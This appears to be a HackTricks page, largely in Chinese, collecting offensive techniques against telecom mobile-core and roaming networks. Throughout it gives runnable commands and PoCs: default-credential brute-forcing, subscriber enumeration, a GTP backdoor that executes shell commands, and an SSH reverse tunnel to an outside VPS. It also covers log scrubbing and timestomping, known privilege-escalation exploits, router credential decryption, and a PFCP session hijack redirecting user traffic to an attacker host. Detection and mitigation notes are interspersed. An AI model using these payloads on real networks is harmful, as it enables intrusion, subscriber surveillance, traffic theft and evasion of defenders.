电信网络利用 (GTP / 漫游环境)

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Note

Mobile-core protocols (GPRS Tunnelling Protocol – GTP) often traverse semi-trusted GRX/IPX roaming backbones. Because they ride on plain UDP with almost no authentication, any foothold inside a telecom perimeter can usually reach core signalling planes directly. The following notes collect offensive tricks observed in the wild against SGSN/GGSN, PGW/SGW and other EPC nodes.

1. 侦察 & 初始访问

1.1 默认 OSS / NE 账户

相当大比例的厂商网络设备出厂带有硬编码的 SSH/Telnet 用户,例如 root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … 使用专门的 wordlist 能显著提高 brute-force 的成功率:

hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

如果设备仅暴露管理 VRF,请先通过 jump host 进行 pivot(参见下面章节 «SGSN Emu Tunnel»)。

1.2 GRX/IPX 内的主机发现

大多数 GRX 运营商仍然允许跨骨干网的 ICMP echo。将 masscan 与内置的 gtpv1 UDP 探针结合使用,以快速映射 GTP-C 监听器:

masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. 枚举订户 – cordscan

下面的 Go 工具构造 GTP-C Create PDP Context Request 数据包并记录响应。每个回复都会揭示当前为查询的 IMSI 提供服务的 SGSN / MME,有时还会显示订户访问的 PLMN。

# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

关键标志:

  • --imsi 目标订户 IMSI
  • --oper 归属 / HNI (MCC+MNC)
  • -w 将原始数据包写入 pcap

二进制文件内部的重要常量可以被修补以扩大扫描范围:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. 通过 GTP 执行代码 – GTPDoor

GTPDoor 是一个小型 ELF 服务,绑定 UDP 2123 并解析每个收到的 GTP-C 数据包。当负载以预共享标记开头时,其余部分会被解密 (AES-128-CBC) 并通过 /bin/sh -c 执行。stdout/stderr 被包含在 Echo Response 消息中外发,因此不会创建任何外向会话。

最小 PoC 数据包 (Python):

import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Detection:

  • 任何主机向 SGSN IPs 发送 unbalanced Echo Requests
  • GTP version flag 设置为 1 而 message type = 1 (Echo) – 偏离规范

4. 通过核心的 Pivoting

4.1 sgsnemu + SOCKS5

OsmoGGSN 附带一个 SGSN 仿真器,能够 向真实的 GGSN/PGW 建立 PDP context。协商完成后,Linux 会获得一个新的 tun0 接口,可被 roaming peer 访问。

sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

通过适当的 firewall hair-pinning,该隧道可绕过 signalling-only VLANs,直接进入 data plane

4.2 SSH Reverse Tunnel over Port 53

在漫游基础设施中,DNS 几乎总是开放的。将内部 SSH 服务暴露到在你的 VPS 上监听 :53,然后稍后从家里连接回来:

ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Check that GatewayPorts yes is enabled on the VPS。

5. 隐蔽通道

通道传输解码说明
ICMP – EchoBackdoorICMP Echo Req/Rep4-byte key + 14-byte chunks (XOR)纯被动监听,无出站流量
DNS – NoDepDNSUDP 53XOR (key = funnyAndHappy) encoded in A-record octets监听 *.nodep 子域名
GTP – GTPDoorUDP 2123AES-128-CBC blob in private IE与合法的 GTP-C 流量混合

所有 implants 都实现了 watchdogs,会 timestomp 它们的 binaries 并在崩溃后重新启动。

6. 防御规避 速查表

# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Privilege Escalation 在遗留 NE 上

# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

清理提示:

userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. 工具箱

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – 前面章节描述的自定义工具。
  • FScan : intranet TCP 扫描 (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS 恶意 WPAD
  • Microsocks + ProxyChains : 轻量级 SOCKS5 pivoting
  • FRP (≥0.37) : NAT 穿透 / 资产桥接

9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

5G 的注册过程在 NGAP 之上的 NAS (Non-Access Stratum) 上运行。在 Security Mode Command/Complete 激活 NAS security 之前,初始消息既不被认证也不被加密。这个 pre-security 窗口在你能够观察或篡改 N2 流量(例如,在 core 内的 on-path、rogue gNB,或 testbed)时,允许多条攻击路径。

Registration flow (simplified):

  • Registration Request: UE 发送 SUCI(使用归属网络公钥加密的 SUPI)和能力信息。
  • Authentication: AMF/AUSF 发送 RAND/AUTN;UE 返回 RES*。
  • Security Mode Command/Complete: 协商并激活 NAS 完整性与加密。
  • PDU Session Establishment: IP/QoS 设置。

实验室搭建提示(非 RF):

  • Core: 默认的 Open5GS 部署足以重现流程。
  • UE: 使用 simulator 或 test UE;用 Wireshark 解码。
  • Active tooling: 5GReplay(在 NGAP 内捕获/修改/重放 NAS)、Sni5Gect(在不启动完整 rogue gNB 的情况下实时嗅探/打补丁/注入 NAS)。
  • Useful display filters in Wireshark:
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 标识符隐私:SUCI 失败导致暴露 SUPI/IMSI

期望:UE/USIM 必须发送 SUCI(SUPI 用归属网络公钥加密)。如果在 Registration Request 中发现明文 SUPI/IMSI,说明存在隐私缺陷,可能允许对订阅者进行持续跟踪。

如何测试:

  • 捕获 InitialUEMessage 中的第一个 NAS 消息并检查 Mobile Identity IE。
  • Wireshark 快速检查:
  • 它应被解码为 SUCI,而不是 IMSI。
  • Filter examples: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci 应存在;若不存在且出现 imsi 则表示存在泄露。

需要收集的内容:

  • 如果暴露,记录 MCC/MNC/MSIN;按 UE 记录并跨时间/位置跟踪。

缓解:

  • 强制仅允许 SUCI 的 UE/USIM;对任何初始 NAS 中的 IMSI/SUPI 发出告警。

9.2 能力降级到空算法 (EEA0/EIA0)

背景:

  • UE 在 Registration Request 的 UE Security Capability IE 中通告支持的 EEA(加密)和 EIA(完整性)。
  • 常见映射:EEA1/EIA1 = SNOW3G,EEA2/EIA2 = AES,EEA3/EIA3 = ZUC;EEA0/EIA0 为 null 算法。

问题:

  • 因为 Registration Request 未被完整性保护,on-path 攻击者可以清除能力位以强制在后续 Security Mode Command 中选择 EEA0/EIA0。一些 stack 错误地在非紧急服务情况下允许 null 算法。

进攻步骤:

  • 截获 InitialUEMessage 并修改 NAS UE Security Capability,使其只通告 EEA0/EIA0。
  • 使用 Sni5Gect,hook NAS 消息并在转发前打补丁能力位。
  • 观察 AMF 是否接受 null cipher/integrity 并以 EEA0/EIA0 完成 Security Mode。

验证/可见性:

  • 在 Wireshark 中,确认 Security Mode Command/Complete 之后所选择的算法。
  • Example passive sniffer output:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

缓解措施(必须):

  • 配置 AMF/policy 拒绝 EEA0/EIA0,除非在严格强制的情况下(例如,紧急呼叫)。
  • 优先至少强制执行 EEA2/EIA2;对任何协商了 null algorithms 的 NAS 安全上下文进行记录和告警。

9.3 重放初始 Registration Request(pre-security NAS)

由于初始 NAS 缺乏完整性和新鲜性,捕获到的 InitialUEMessage+Registration Request 可以被重放到 AMF。

PoC rule for 5GReplay to forward matching replays:

<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

要观察的事项:

  • AMF 是否接受重放并继续进入认证阶段;缺乏新鲜性/上下文验证表明存在暴露风险。

缓解措施:

  • 在 AMF 强制实施重放保护/上下文绑定;对每个 GNB/UE 实施限速并进行关联分析。

9.4 工具指引(可复现)

  • Open5GS:启动 AMF/SMF/UPF 来模拟核心网;观察 N2 (NGAP) 和 NAS。
  • Wireshark:验证 NGAP/NAS 的解码;使用上面的过滤器以隔离注册流程。
  • 5GReplay:捕获一次注册流程,然后按规则重放特定的 NGAP + NAS 消息。
  • Sni5Gect:实时嗅探/修改/注入 NAS 控制平面,以强制 null algorithms 或扰乱认证序列。

9.5 防御清单

  • 持续检查 Registration Request 是否包含明文 SUPI/IMSI;阻断违规设备/USIMs。
  • 拒绝使用 EEA0/EIA0,除非用于严格限定的紧急流程;至少要求 EEA2/EIA2。
  • 检测流氓或配置错误的基础设施:未授权的 gNB/AMF、意外的 N2 对端。
  • 对导致 null algorithms 或频繁重放 InitialUEMessage 的 NAS 安全模式触发告警。

10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)

滥用工业级蜂窝路由器暴露的 web APIs 可实现大规模、来自运营商的隐蔽 smishing。Milesight UR 系列路由器在 /cgi 暴露了一个 JSON-RPC 风格的端点。在配置不当时,该 API 可以在不进行身份验证的情况下被查询以列出 SMS 收件箱/发件箱,并且在某些部署中可用于发送 SMS。

典型的未认证请求(收件箱/发件箱 结构相同):

POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json

{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }

响应包含字段,例如 timestampcontentphone_number(E.164)和 statussuccessfailed)。对同一号码重复的 failed 发送通常是攻击者的“capability checks”,用于在 blasting 之前验证路由器/SIM 是否能投递。

示例 curl 用于 exfiltrate SMS metadata:

curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'

关于 auth 工件的说明:

  • 部分流量可能包含 auth cookie,但当管理界面面向互联网时,大量暴露设备在访问 query_inbox/query_outbox 时无需任何认证就会响应。
  • 在需要 auth 的环境中,previously-leaked credentials(见下文)可恢复访问。

凭证恢复路径 – CVE-2023-43261:

  • 受影响系列:UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7)。
  • 问题:通过 web 提供的日志(例如 httpd.log)在 /lang/log/ 下可在无需认证的情况下访问,日志包含管理员登录事件,密码使用出现在客户端 JavaScript 中的硬编码 AES key/IV 加密。
  • 实际访问与解密:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}

最小的 Python 脚本,用于解密 leaked 密码(AES-128-CBC, hardcoded key/IV):

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...'  # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())

Hunting and detection ideas (network):

  • Alert on unauthenticated POST /cgi whose JSON body contains base/function set to query_inbox or query_outbox.
  • Track repeated POST /cgi bursts followed by status":"failed" entries across many unique numbers from the same source IP (capability testing).
  • Inventory Internet-exposed Milesight routers; restrict management to VPN; disable SMS features unless required; upgrade to ≥ v35.3.0.7; rotate credentials and review SMS logs for unknown sends.

Shodan/OSINT pivots (examples seen in the wild):

  • http.html:"rt_title" matches Milesight router panels.
  • Google dorking for exposed logs: "/lang/log/system" ext:log.

Operational impact: using legitimate carrier SIMs inside routers gives very high SMS deliverability/credibility for phishing, while inbox/outbox exposure leak sensitive metadata at scale.


11. PFCP Session Hijack & GTP-U TEID Abuse

11.1 PFCP Session Modification to steal flows

If you can speak PFCP on N4 (e.g., from a mis-filtered GRX/IPX segment), craft a Session Modification Request that inserts a duplicate PDR ID but with a smaller Precedence and a FAR pointing to your host. Some UPFs (e.g., OAI-cn5g) apply the first matching PDR and never check for uniqueness, so the malicious PDR hijacks all subsequent packets of that PDU session to your sink.

Minimal Scapy PoC (assumes PFCP contrib is available and you know SEID/PDR IDs):

Scapy PFCP session hijack PoC ```python from scapy.all import * from scapy.contrib.pfcp import *

n4 = “10.10.20.5” # UPF N4 seid = 0x123456789abc pdr_id = 7 # existing PDR ID in session far_id = 77 # new malicious FAR

pkt = IP(dst=n4)/UDP(sport=8805,dport=8805)/PFCP( S=1, seid=seid, msg_type=MODIFICATION_REQUEST)/PFCPSessionModificationRequest( IE_list=[PDR(id=pdr_id, precedence=1, outer_header_removal=0, far_id=fid_identifier(far_id)), FAR(id=far_id, apply_action=0b10, # FORWARD forwarding_parameters=ForwardingParameters( outer_header_creation=OuterHeaderCreation( desc=0x0002, ipv4_address=“203.0.113.55”, teid=0xdeadbeef)))] ) send(pkt, verbose=False)

</details>

### 11.2 通过伪造 TEIDs 注入用户流量
如果来自骨干网的 uplink GTP-U 未被 ACL’d,你可以重放/猜测出现在 GTP-U 头部的 TEIDs,并封装任意 IP/TCP 发往 UE 的对端或 Internet。示例构造:
```python
send(IP(dst="10.10.20.8")/UDP(dport=2152,sport=2152)/
GTP_U_Header(teid=0x7ffed00)/
IP(src="10.0.0.10",dst="1.1.1.1")/TCP(dport=443,flags="S"))

将此与在 N3/N6 上的 passive sniffing 配合以识别活动 TEIDs;许多 PGW/UPF 堆栈一旦 TEID 匹配,就接受任意 uplink source。


12. SBA/SBI Fuzzing & Cross-Service Token Attack (free5GC R17)

FivGeeFuzz (academic 2025) 从 3GPP OpenAPI 规范自动派生语法,用于 fuzz HTTP-based SBIs。针对 free5GC 它发现了八个 bug,其中包括 Cross-Service Token 滥用:被攻破的 NF 获取了 Service A 的 access token,并在目标 NF 缺少 audience/issuer 校验时将其重用于针对 Service B 的请求。

快速重放思路(假设你从任意 NF 窃取了由 NRF 签发的 token):

# Swap :authority to the victim NF and reuse the bearer token
curl -sk -H "Authorization: Bearer $TOKEN" \
-H "Host: smf.internal" \
https://smf.internal/nsmf-pdusession/v1/sm-contexts

使用 FivGeeFuzz grammars 自动 fuzz:

python3 fivgeefuzz.py --nf nsmf-pdusession \
--target https://smf.internal \
--grammar grammars/nsmf-pdusession.json \
--token "$TOKEN" --threads 8 --max-cases 500

注意 SMF/AMF pods 中的 401/403 绕过和崩溃;已修补的 free5GC 构建会拒绝不匹配的 aud/iss


检测思路

  1. 除 SGSN/GGSN 以外的任何设备发起 Create PDP Context Requests
  2. 从内部 IP 接收 SSH 握手的非标准端口(53、80、443)
  3. 频繁的 Echo Requests 而没有相应的 Echo Responses – 可能表示 GTPDoor 信标。
  4. 具有较大、非零 identifier/sequence 字段的高速 ICMP echo-reply 流量
  5. 5G: InitialUEMessage 携带的 NAS Registration Requests 从相同端点重复出现(重放信号)。
  6. 5G: 在非紧急场景协商 EEA0/EIA0 的 NAS Security Mode
  7. PFCP: Session Modification 带有重复的 PDR IDs 或突然将 FAR 重定向到 off-net IPs
  8. SBA: NRF 签发的 tokens 其 aud 不匹配被调用的 NF – 表明 Cross-Service Token 重放。

References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks